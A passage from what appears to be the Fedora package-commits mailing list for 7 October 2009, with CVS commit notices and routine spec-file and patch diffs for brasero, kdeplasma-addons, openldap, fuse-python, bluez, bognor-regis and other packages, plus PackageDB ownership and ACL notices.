@@ -100,7 +100,7 @@ index 7de917c..e717ef5 100644
  
 -	{ "image", 'i', 0, G_OPTION_ARG_STRING, &iso_uri,
 +	{ "image", 'i', 0, G_OPTION_ARG_FILENAME, &iso_uri,
- 	 N_("URI of an image file to burn (autodetected)"),
+ 	 N_("Uri of an image file to be burnt (autodetected)"),
            N_("PATH TO PLAYLIST") },
  
 @@ -122,7 +122,7 @@ static const GOptionEntry options [] = {
@@ -109,7 +109,7 @@ index 7de917c..e717ef5 100644
  
 -	{ "burn-and-remove-project", 'r', 0, G_OPTION_ARG_STRING, &burn_project_uri,
 +	{ "burn-and-remove-project", 'r', 0, G_OPTION_ARG_FILENAME, &burn_project_uri,
- 	  N_("Burn the specified project and remove it.\nThis option is mainly useful for integration with other applications."),
+ 	  N_("Burn the specified project and REMOVE it.\nThis option is mainly useful for integration use with other applications."),
  	  N_("PATH") },
  
 -- 



From hadess at fedoraproject.org  Wed Oct  7 08:52:54 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed,  7 Oct 2009 08:52:54 +0000 (UTC)
Subject: rpms/brasero/devel
	0001-Fix-parsing-of-file-paths-on-the-command-line.patch, 1.1, 1.2
Message-ID: <20091007085254.E7E9D11C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/brasero/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9652

Modified Files:
	0001-Fix-parsing-of-file-paths-on-the-command-line.patch 
Log Message:
Fix patch to apply to 2.28

0001-Fix-parsing-of-file-paths-on-the-command-line.patch:
 brasero-project-parse.c |   16 +++++++++++++---
 main.c                  |   11 +++++------
 2 files changed, 18 insertions(+), 9 deletions(-)

Index: 0001-Fix-parsing-of-file-paths-on-the-command-line.patch
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/devel/0001-Fix-parsing-of-file-paths-on-the-command-line.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0001-Fix-parsing-of-file-paths-on-the-command-line.patch	7 Oct 2009 08:34:12 -0000	1.1
+++ 0001-Fix-parsing-of-file-paths-on-the-command-line.patch	7 Oct 2009 08:52:53 -0000	1.2
@@ -1,4 +1,4 @@
-From 82a2336030c885bb5a74639d401ab3f2ec511af5 Mon Sep 17 00:00:00 2001
+From 387a91e4b0e25914bf8e879296264c74b0aa2424 Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Wed, 7 Oct 2009 09:16:50 +0100
 Subject: [PATCH] Fix parsing of file paths on the command-line
@@ -66,7 +66,7 @@ index 95c438d..ffacf46 100644
  
  	return (result == TOTEM_PL_PARSER_RESULT_SUCCESS);
 diff --git a/src/main.c b/src/main.c
-index 7de917c..e717ef5 100644
+index abd31b5..e95e027 100644
 --- a/src/main.c
 +++ b/src/main.c
 @@ -70,13 +70,13 @@ gint open_ncb;
@@ -100,7 +100,7 @@ index 7de917c..e717ef5 100644
  
 -	{ "image", 'i', 0, G_OPTION_ARG_STRING, &iso_uri,
 +	{ "image", 'i', 0, G_OPTION_ARG_FILENAME, &iso_uri,
- 	 N_("URI of an image file to burn (autodetected)"),
+ 	 N_("Uri of an image file to be burnt (autodetected)"),
            N_("PATH TO PLAYLIST") },
  
 @@ -122,7 +122,7 @@ static const GOptionEntry options [] = {
@@ -109,7 +109,7 @@ index 7de917c..e717ef5 100644
  
 -	{ "burn-and-remove-project", 'r', 0, G_OPTION_ARG_STRING, &burn_project_uri,
 +	{ "burn-and-remove-project", 'r', 0, G_OPTION_ARG_FILENAME, &burn_project_uri,
- 	  N_("Burn the specified project and remove it.\nThis option is mainly useful for integration with other applications."),
+ 	  N_("Burn the specified project and REMOVE it.\nThis option is mainly useful for integration use with other applications."),
  	  N_("PATH") },
  
 -- 



From than at fedoraproject.org  Wed Oct  7 08:56:53 2009
From: than at fedoraproject.org (Than Ngo)
Date: Wed,  7 Oct 2009 08:56:53 +0000 (UTC)
Subject: rpms/kdeplasma-addons/devel kdeplasma-addons.spec,1.63,1.64
Message-ID: <20091007085653.0F9DE11C00E6@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdeplasma-addons/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11253

Modified Files:
	kdeplasma-addons.spec 
Log Message:
fix rpm file list



Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/devel/kdeplasma-addons.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- kdeplasma-addons.spec	5 Oct 2009 21:59:42 -0000	1.63
+++ kdeplasma-addons.spec	7 Oct 2009 08:56:52 -0000	1.64
@@ -140,7 +140,6 @@ rm -rf %{buildroot}
 %{_kde4_datadir}/dbus-1/services/org.kde.lancelot.service
 %{_kde4_libdir}/kde4/*.so
 %{_kde4_iconsdir}/hicolor/*/*/*
-%{_kde4_iconsdir}/oxygen/*/*/*
 
 %files libs
 %defattr(-,root,root,-)



From mmaslano at fedoraproject.org  Wed Oct  7 09:01:26 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Wed,  7 Oct 2009 09:01:26 +0000 (UTC)
Subject: rpms/perl-XML-NamespaceSupport/devel
	perl-XML-NamespaceSupport-autoinstall_off.patch, NONE,
	1.1 perl-XML-NamespaceSupport.spec, 1.15, 1.16
Message-ID: <20091007090126.4D45811C00E6@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-XML-NamespaceSupport/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13166

Modified Files:
	perl-XML-NamespaceSupport.spec 
Added Files:
	perl-XML-NamespaceSupport-autoinstall_off.patch 
Log Message:
* Tue Oct  6 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.10-1
- update to new upstream release


perl-XML-NamespaceSupport-autoinstall_off.patch:
 Makefile.PL |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE perl-XML-NamespaceSupport-autoinstall_off.patch ---
diff -up XML-NamespaceSupport-1.10/Makefile.PL.old XML-NamespaceSupport-1.10/Makefile.PL
--- XML-NamespaceSupport-1.10/Makefile.PL.old	2009-05-28 15:49:59.000000000 +0200
+++ XML-NamespaceSupport-1.10/Makefile.PL	2009-10-07 10:56:19.646648385 +0200
@@ -9,5 +9,5 @@ build_requires 'Test::More' => '0.47';
 
 auto_set_repository;
 auto_manifest;
-auto_install;
+#auto_install;
 WriteAll;


Index: perl-XML-NamespaceSupport.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-XML-NamespaceSupport/devel/perl-XML-NamespaceSupport.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- perl-XML-NamespaceSupport.spec	6 Oct 2009 10:26:44 -0000	1.15
+++ perl-XML-NamespaceSupport.spec	7 Oct 2009 09:01:25 -0000	1.16
@@ -7,10 +7,12 @@ Group:          Development/Libraries
 License:        GPL+ or Artistic
 Url:            http://search.cpan.org/dist/XML-NamespaceSupport/
 Source0:        http://www.cpan.org/authors/id/R/RB/RBERJON/XML-NamespaceSupport-%{version}.tar.gz
+Patch0:         perl-XML-NamespaceSupport-autoinstall_off.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
 BuildRequires:  perl(ExtUtils::MakeMaker)
+BuildRequires:  perl(Test::More)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -19,7 +21,8 @@ Requires:       perl(:MODULE_COMPAT_%(ev
 
 %prep
 %setup -q -n XML-NamespaceSupport-%{version}
-chmod -c 644 Changes README 
+%patch0 -p1
+chmod -c 644 Changes README
 
 %build
 %{__perl} Makefile.PL INSTALLDIRS=vendor



From pkgdb at fedoraproject.org  Wed Oct  7 09:15:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 09:15:00 +0000
Subject: [pkgdb] vim-vimoutliner ownership updated
Message-ID: <20091007091500.B38DD10F84D@bastion2.fedora.phx.redhat.com>

Package vim-vimoutliner in Fedora 10 is now owned by plautrba

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Wed Oct  7 09:15:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 09:15:04 +0000
Subject: [pkgdb] vim-vimoutliner ownership updated
Message-ID: <20091007091504.D8E6D10F84D@bastion2.fedora.phx.redhat.com>

Package vim-vimoutliner in Fedora 11 is now owned by plautrba

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Wed Oct  7 09:15:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 09:15:08 +0000
Subject: [pkgdb] vim-vimoutliner ownership updated
Message-ID: <20091007091508.A49F310F84D@bastion2.fedora.phx.redhat.com>

Package vim-vimoutliner in Fedora 12 is now owned by plautrba

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From than at fedoraproject.org  Wed Oct  7 09:19:08 2009
From: than at fedoraproject.org (Than Ngo)
Date: Wed,  7 Oct 2009 09:19:08 +0000 (UTC)
Subject: rpms/kdenetwork/devel kdenetwork.spec,1.201,1.202
Message-ID: <20091007091908.4324811C00E6@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdenetwork/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18358

Modified Files:
	kdenetwork.spec 
Log Message:
enable jingle




Index: kdenetwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/devel/kdenetwork.spec,v
retrieving revision 1.201
retrieving revision 1.202
diff -u -p -r1.201 -r1.202
--- kdenetwork.spec	5 Oct 2009 14:34:12 -0000	1.201
+++ kdenetwork.spec	7 Oct 2009 09:19:07 -0000	1.202
@@ -2,7 +2,7 @@ Summary: K Desktop Environment - Network
 Name: kdenetwork
 Epoch: 7
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 License: GPLv2
 Group: Applications/Internet
@@ -47,6 +47,7 @@ BuildRequires: soprano-devel >= 2.0.97
 BuildRequires: speex-devel
 BuildRequires: sqlite-devel
 BuildRequires: libv4l-devel
+BuildRequires: alsa-lib-devel
 %if 0%{?fedora}
 BuildRequires: webkitpart-devel
 %endif
@@ -108,6 +109,7 @@ chmod +x kopete/kopete/kconf_update/kope
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
 %{cmake_kde4} \
+  -DWITH_JINGLE=TRUE \
   -DMOZPLUGIN_INSTALL_DIR=%{_libdir}/mozilla/plugins \
   ..
 popd
@@ -189,6 +191,9 @@ fi
 
 
 %changelog
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- enable jingle
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From than at fedoraproject.org  Wed Oct  7 09:21:48 2009
From: than at fedoraproject.org (Than Ngo)
Date: Wed,  7 Oct 2009 09:21:48 +0000 (UTC)
Subject: rpms/kdeplasma-addons/devel kdeplasma-addons.spec,1.64,1.65
Message-ID: <20091007092148.572AE11C00E6@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdeplasma-addons/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18957

Modified Files:
	kdeplasma-addons.spec 
Log Message:
fix rpm file list



Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/devel/kdeplasma-addons.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- kdeplasma-addons.spec	7 Oct 2009 08:56:52 -0000	1.64
+++ kdeplasma-addons.spec	7 Oct 2009 09:21:48 -0000	1.65
@@ -128,6 +128,7 @@ rm -rf %{buildroot}
 %{_kde4_appsdir}/desktoptheme/*
 %{_kde4_appsdir}/lancelot/
 %{_kde4_appsdir}/plasma/services/*
+%{_kde4_appsdir}/plasma-applet-frame/
 %{_kde4_appsdir}/plasma-applet-opendesktop/
 %{_kde4_appsdir}/plasma_pastebin/
 %{_kde4_appsdir}/plasma_wallpaper_pattern/



From jzeleny at fedoraproject.org  Wed Oct  7 09:25:41 2009
From: jzeleny at fedoraproject.org (Jan Zeleny)
Date: Wed,  7 Oct 2009 09:25:41 +0000 (UTC)
Subject: rpms/openldap/F-11 openldap-2.3.37-smbk5pwd.patch, 1.3,
	1.4 openldap.spec, 1.143, 1.144
Message-ID: <20091007092541.4E71611C00E6@cvs1.fedora.phx.redhat.com>

Author: jzeleny

Update of /cvs/extras/rpms/openldap/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20493

Modified Files:
	openldap-2.3.37-smbk5pwd.patch openldap.spec 
Log Message:
fix of smbk5pwd patch - linking with libldap (#526500)

openldap-2.3.37-smbk5pwd.patch:
 contrib/slapd-modules/smbk5pwd/README |    5 +++++
 servers/slapd/overlays/Makefile.in    |   10 +++++++---
 2 files changed, 12 insertions(+), 3 deletions(-)

Index: openldap-2.3.37-smbk5pwd.patch
===================================================================
RCS file: /cvs/extras/rpms/openldap/F-11/openldap-2.3.37-smbk5pwd.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- openldap-2.3.37-smbk5pwd.patch	1 Sep 2008 08:09:50 -0000	1.3
+++ openldap-2.3.37-smbk5pwd.patch	7 Oct 2009 09:25:40 -0000	1.4
@@ -47,7 +47,7 @@ diff -up openldap-2.4.11/servers/slapd/o
  	$(LTLINK_MOD) -module -o $@ valsort.lo version.lo $(LINK_LIBS)
  
 +smbk5pwd.la : smbk5pwd.lo
-+	$(LTLINK_MOD) -module -o $@ smbk5pwd.lo version.lo $(LINK_LIBS)
++	$(LTLINK_MOD) -module -o $@ smbk5pwd.lo version.lo -lldap -L../../../libraries/libldap/.libs/ $(LINK_LIBS)
 +
  install-local:	$(PROGRAMS)
  	@if test -n "$?" ; then \


Index: openldap.spec
===================================================================
RCS file: /cvs/extras/rpms/openldap/F-11/openldap.spec,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- openldap.spec	25 Aug 2009 09:46:31 -0000	1.143
+++ openldap.spec	7 Oct 2009 09:25:40 -0000	1.144
@@ -11,7 +11,7 @@
 Summary: LDAP support libraries
 Name: openldap
 Version: %{version}
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: OpenLDAP
 Group: System Environment/Daemons
 Source0: ftp://ftp.OpenLDAP.org/pub/OpenLDAP/openldap-release/openldap-%{version}.tgz
@@ -606,6 +606,9 @@ fi
 %attr(0644,root,root)      %{evolution_connector_libdir}/*.a
 
 %changelog
+* Wed Oct 07 2009 Jan Zeleny <jzeleny at redhat.com> 2.4.15-6
+- fix of smbk5pwd patch - linking with libldap (#526500)
+
 * Tue Aug 25 2009 Jan Zeleny <jzeleny at redhat.com> 2.4.15-5
 - fix of spec file - group ldap created with correct gid
 



From peter at fedoraproject.org  Wed Oct  7 09:32:19 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Wed,  7 Oct 2009 09:32:19 +0000 (UTC)
Subject: rpms/fuse-python/EL-5 fuse-python--libewf_fix.diff, NONE,
	1.1 import.log, NONE, 1.1 fuse-python.spec, 1.2, 1.3
Message-ID: <20091007093219.B978311C00E6@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/fuse-python/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21897/EL-5

Modified Files:
	fuse-python.spec 
Added Files:
	fuse-python--libewf_fix.diff import.log 
Log Message:
initial build for EPEL

fuse-python--libewf_fix.diff:
 fuse-python-0.2/Changelog                  |only
 fuse-python-0.2/MANIFEST.in                |only
 fuse-python-0.2/PKG-INFO                   |only
 fuse-python-0.2/README.new_fusepy_api.html |only
 fuse-python-0.2/fuse_python.egg-info       |only
 fuse-python-0.2/setup.cfg                  |only
 python/CVS                                 |only
 python/example/CVS                         |only
 python/fuse.py                             |    4 ++--
 python/fuseparts/CVS                       |only
 python/fuseparts/_fusemodule.c             |   16 ++++++++++++----
 python/util/CVS                            |only
 12 files changed, 14 insertions(+), 6 deletions(-)

--- NEW FILE fuse-python--libewf_fix.diff ---
Only in fuse-python-0.2: Changelog
Only in python: CVS
Only in python/example: CVS
Only in python/fuseparts: CVS
diff -ru fuse-python-0.2/fuseparts/_fusemodule.c python/fuseparts/_fusemodule.c
--- fuse-python-0.2/fuseparts/_fusemodule.c	2007-06-18 18:20:09.000000000 +0400
+++ python/fuseparts/_fusemodule.c	2008-04-24 18:52:10.000000000 +0400
@@ -118,7 +118,7 @@
 
 /* transform a Python integer to an unsigned C numeric value */
 
-#define py2attr(st, attr)						\
+#define py2attr(st, attr) {						\
 	if (PyInt_Check(pytmp) && sizeof((st)->attr) <= sizeof(long)) {	\
 		/*							\
 		 * We'd rather use here PyInt_AsUnsignedLong() here	\
@@ -162,8 +162,9 @@
 		goto OUT_DECREF;					\
 	(st)->attr = ctmp;						\
 	if ((unsigned long long)(st)->attr != ctmp)			\
-		goto OUT_DECREF;
-		
+		goto OUT_DECREF;					\
+}
+
 #define fetchattr_nam(st, attr, aname)					\
 	if (!(pytmp = PyObject_GetAttrString(v, aname)))		\
 		goto OUT_DECREF;					\
@@ -174,7 +175,13 @@
 
 #define fetchattr_soft(st, attr)					\
 	if (PyObject_HasAttrString(v, #attr)) {				\
-		fetchattr(st, attr);					\
+		pytmp = PyObject_GetAttrString(v, #attr);		\
+		if (!pytmp)						\
+			goto OUT_DECREF;				\
+	        if (pytmp == Py_None)					\
+			Py_DECREF(pytmp);				\
+		else							\
+			py2attr(st, attr);				\
 	}
 
 /*
@@ -891,6 +898,7 @@
 	save = PyEval_SaveThread();
 	err = fuse_loop_mt(f);
 	PyEval_RestoreThread(save);
+	interp = NULL;
 #endif
 
 	return(err);
diff -ru fuse-python-0.2/fuse.py python/fuse.py
--- fuse-python-0.2/fuse.py	2007-06-25 03:08:09.000000000 +0400
+++ python/fuse.py	2008-01-23 22:32:47.000000000 +0300
@@ -461,7 +461,7 @@
     FUSE, see ``fuse.h``).
     """
 
-    def __init__(self, name, **kw):
+    def __init__(self, **kw):
     
         self.l_type  = None
         self.l_start = None
@@ -477,7 +477,7 @@
     http://www.opengroup.org/onlinepubs/009695399/basedefs/time.h.html
     """
 
-    def __init__(self, name, **kw):
+    def __init__(self, **kw):
     
         self.tv_sec  = None
         self.tv_nsec = None
Only in fuse-python-0.2: fuse_python.egg-info
Only in fuse-python-0.2: MANIFEST.in
Only in fuse-python-0.2: PKG-INFO
Only in fuse-python-0.2: README.new_fusepy_api.html
Only in fuse-python-0.2: setup.cfg
Only in python/util: CVS


--- NEW FILE import.log ---
fuse-python-0_2-12_fc11:EL-5:fuse-python-0.2-12.fc11.src.rpm:1254906362


Index: fuse-python.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fuse-python/EL-5/fuse-python.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- fuse-python.spec	18 Oct 2007 22:17:33 -0000	1.2
+++ fuse-python.spec	7 Oct 2009 09:32:19 -0000	1.3
@@ -2,17 +2,18 @@
 
 Name:           fuse-python
 Version:        0.2
-Release:        6%{?dist}
+Release:        12%{?dist}
 Summary:        Python bindings for FUSE - filesystem in userspace
 
 Group:          System Environment/Base
 License:        LGPLv2
 URL:            http://fuse.sourceforge.net/wiki/index.php/FusePython
 Source0:        http://downloads.sourceforge.net/fuse/%{name}-%{version}.tar.gz
+Patch0:		fuse-python--libewf_fix.diff
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Provides:       python-fuse = %{version}-%{release}
 
-BuildRequires:  pkgconfig 
+BuildRequires:  pkgconfig
 BuildRequires:  fuse-devel
 # Must have setuptools to build the package
 # The build portions moved to a subpackage in F-8
@@ -28,6 +29,7 @@ to implement a filesystem in a userspace
 
 %prep
 %setup -q
+%patch0 -p1 -b .libewf
 
 %build
 python setup.py build
@@ -48,6 +50,24 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/*
 
 %changelog
+* Thu Sep 17 2009 Peter Lemenkov <lemenkov at gmail.com> 0.2-12
+- rebuilt with new fuse
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2-11
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2-10
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Sat Nov 29 2008 Ignacio Vazquez-Abrams <ivazqueznet+rpm at gmail.com> - 0.2-9
+- Rebuild for Python 2.6
+
+* Sun Apr 27 2008 Peter Lemenkov <lemenkov at gmail.com> 0.2-8
+- Fix issue with libewf
+
+* Tue Feb 19 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 0.2-7
+- Autorebuild for GCC 4.3
+
 * Thu Oct 18 2007 Michel Salim <michel.sylvan at gmail.com> 0.2-6
 - Fix source URL
 - Include examples



From hadess at fedoraproject.org  Wed Oct  7 09:37:32 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed,  7 Oct 2009 09:37:32 +0000 (UTC)
Subject: rpms/bluez/F-12 bluez.spec,1.99,1.100
Message-ID: <20091007093732.B4B8B11C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/bluez/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23139

Modified Files:
	bluez.spec 
Log Message:
* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 4.55-2
- Enable caps lowering



Index: bluez.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/F-12/bluez.spec,v
retrieving revision 1.99
retrieving revision 1.100
diff -u -p -r1.99 -r1.100
--- bluez.spec	5 Oct 2009 09:29:43 -0000	1.99
+++ bluez.spec	7 Oct 2009 09:37:31 -0000	1.100
@@ -1,7 +1,7 @@
 Summary: Bluetooth utilities
 Name: bluez
 Version: 4.55
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group: Applications/System
 Source: http://www.kernel.org/pub/linux/bluetooth/%{name}-%{version}.tar.gz
@@ -32,6 +32,7 @@ BuildRequires: dbus-devel >= 0.90
 BuildRequires: libusb-devel, glib2-devel, alsa-lib-devel
 BuildRequires: gstreamer-plugins-base-devel, gstreamer-devel
 BuildRequires: libsndfile-devel
+BuildRequires: libcap-ng-devel
 # For cable pairing
 BuildRequires: libgudev-devel 
 %ifnarch s390 s390x
@@ -271,6 +272,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/pand
 
 %changelog
+* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 4.55-2
+- Enable caps lowering
+
 * Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 4.55-1
 - Update to 4.55
 



From pkgdb at fedoraproject.org  Wed Oct  7 09:40:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 09:40:52 +0000
Subject: [pkgdb] system-config-cluster: swhiteho has requested watchcommits
Message-ID: <20091007094052.3B55F10F880@bastion2.fedora.phx.redhat.com>

swhiteho has requested the watchcommits acl on system-config-cluster (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Wed Oct  7 09:41:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 09:41:13 +0000
Subject: [pkgdb] system-config-cluster: swhiteho has requested watchcommits
Message-ID: <20091007094113.C4A4710F88F@bastion2.fedora.phx.redhat.com>

swhiteho has requested the watchcommits acl on system-config-cluster (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Wed Oct  7 09:41:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 09:41:14 +0000
Subject: [pkgdb] system-config-cluster: swhiteho has requested commit
Message-ID: <20091007094114.AE9F410F8A1@bastion2.fedora.phx.redhat.com>

swhiteho has requested the commit acl on system-config-cluster (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Wed Oct  7 09:41:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 09:41:15 +0000
Subject: [pkgdb] system-config-cluster: swhiteho has requested approveacls
Message-ID: <20091007094115.89BC710F8AB@bastion2.fedora.phx.redhat.com>

swhiteho has requested the approveacls acl on system-config-cluster (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Wed Oct  7 09:41:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 09:41:32 +0000
Subject: [pkgdb] system-config-cluster: swhiteho has requested commit
Message-ID: <20091007094132.BE28410F894@bastion2.fedora.phx.redhat.com>

swhiteho has requested the commit acl on system-config-cluster (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Wed Oct  7 09:41:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 09:41:33 +0000
Subject: [pkgdb] system-config-cluster: swhiteho has requested approveacls
Message-ID: <20091007094133.AEB6410F8A8@bastion2.fedora.phx.redhat.com>

swhiteho has requested the approveacls acl on system-config-cluster (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pbrobinson at fedoraproject.org  Wed Oct  7 09:43:21 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed,  7 Oct 2009 09:43:21 +0000 (UTC)
Subject: rpms/bognor-regis/devel bognor-regis-dbus-crash.patch, NONE,
	1.1 bognor-regis.spec, 1.10, 1.11
Message-ID: <20091007094321.150CC11C00E6@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/bognor-regis/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25078

Modified Files:
	bognor-regis.spec 
Added Files:
	bognor-regis-dbus-crash.patch 
Log Message:
- Add upstream patch to fix a crash

bognor-regis-dbus-crash.patch:
 br-queue.c |   40 +++++++++++++++++++++++++++++++++++-----
 1 file changed, 35 insertions(+), 5 deletions(-)

--- NEW FILE bognor-regis-dbus-crash.patch ---
>From 097f778a8f5f30a539b6327c8c993703c09ef4e9 Mon Sep 17 00:00:00 2001
From: iain <iain at linux.intel.com>
Date: Thu, 13 Aug 2009 13:55:48 +0000
Subject: Fix #4911

When dbus-glib async calls return an error they do not initialise data in the
other parameters. Attempting to free or manipulate this data causes
instability. Initialise the data, and only free it when it is not an error
condition
---
diff --git a/bognor-regis/br-queue.c b/bognor-regis/br-queue.c
index 6710b41..52dca6f 100644
--- a/bognor-regis/br-queue.c
+++ b/bognor-regis/br-queue.c
@@ -431,6 +431,7 @@ async_reply (DBusGProxy *proxy,
 {
     if (error != NULL) {
         g_warning ("Error talking to Bognor-Regis : %s", error->message);
+        g_error_free (error);
     }
 }
 
@@ -553,11 +554,18 @@ list_uris_reply (DBusGProxy *proxy,
     BrQueueListUrisCallback cb;
 
     cb = (BrQueueListUrisCallback) (data->cb);
+
+    if (error) {
+        /* Initialise the parameters correctly */
+        OUT_uris = NULL;
+    }
+
     cb (data->queue, OUT_uris, error, data->userdata);
 
-    g_strfreev (OUT_uris);
     if (error) {
         g_error_free (error);
+    } else {
+        g_strfreev (OUT_uris);
     }
 
     g_free (data);
@@ -595,13 +603,20 @@ get_now_playing_reply (DBusGProxy *proxy,
     BrQueueGetNowPlayingCallback cb;
 
     cb = (BrQueueGetNowPlayingCallback) (data->cb);
+
+    if (error) {
+        OUT_audio_uri = NULL;
+        OUT_visual_uri = NULL;
+    }
+
     cb (data->queue, OUT_audio_uri, OUT_visual_uri, error, data->userdata);
 
     if (error) {
         g_error_free (error);
+    } else {
+        g_free (OUT_audio_uri);
+        g_free (OUT_visual_uri);
     }
-    g_free (OUT_audio_uri);
-    g_free (OUT_visual_uri);
 
     g_free (data);
 }
@@ -638,11 +653,17 @@ get_name_reply (DBusGProxy *proxy,
     BrQueueGetNameCallback cb;
 
     cb = (BrQueueGetNameCallback) (data->cb);
+
+    if (error) {
+        OUT_name = NULL;
+    }
+
     cb (data->queue, OUT_name, error, data->userdata);
 
-    g_free (OUT_name);
     if (error) {
         g_error_free (error);
+    } else {
+        g_free (OUT_name);
     }
 
     g_free (data);
@@ -694,6 +715,11 @@ get_position_reply (DBusGProxy *proxy,
     BrQueueGetPositionCallback cb;
 
     cb = (BrQueueGetPositionCallback) (data->cb);
+
+    if (error) {
+        OUT_position = 0.0;
+    }
+
     cb (data->queue, OUT_position, error, data->userdata);
 
     if (error) {
@@ -735,6 +761,11 @@ get_playing_reply (DBusGProxy *proxy,
     BrQueueGetPlayingCallback cb;
 
     cb = (BrQueueGetPlayingCallback) (data->cb);
+
+    if (error) {
+        OUT_playing = FALSE;
+    }
+
     cb (data->queue, OUT_playing, error, data->userdata);
 
     if (error) {
--
cgit v0.8.2


Index: bognor-regis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bognor-regis/devel/bognor-regis.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
